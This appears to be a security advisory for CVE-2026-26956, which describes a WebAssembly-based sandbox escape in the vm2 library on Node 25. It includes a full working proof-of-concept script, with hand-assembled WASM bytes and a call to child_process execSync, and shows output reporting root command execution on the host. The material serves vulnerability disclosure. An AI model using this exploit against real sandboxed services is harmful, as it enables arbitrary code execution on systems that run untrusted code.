CVE-2026-26956: vm2: WASM Sandbox Escape (Node 25 only)

Summary

Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.

Details

Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux) Trigger: Attacker-controlled code passed to VM.run() Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)

vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.

WebAssembly's trytable instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM trytable catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.

PoC

js const { VM } = require("vm2"); console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);

new VM().run( const before = typeof process;

const err = new Error("x"); err.name = Symbol();

const wasm = new Uint8Array([ 0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00, 0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00, 0x02,0x19,0x02, 0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00, 0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02, 0x03,0x02,0x01,0x01, 0x07,0x0f,0x01, 0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01, 0x0a,0x12,0x01,0x10,0x00, 0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b ]);

const instance = new WebAssembly.Instance( new WebAssembly.Module(wasm), { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } } );

const hostError = instance.exports.catcherror(); const p = hostError.constructor.constructor("return process")(); const id = p.mainModule.require("childprocess").execSync("id").toString().trim(); const log = p.mainModule.require("console").log; log(""); log("process before escape:", before); log("process after escape: ", typeof p); log("host pid: ", p.pid); log("host node version: ", p.version); log("RCE: ", id); );

> node poc.js vm2: 3.10.4 | node: v25.6.1

process before escape: undefined process after escape: object host pid: 217 host node version: v25.6.1 RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Proof files poc.js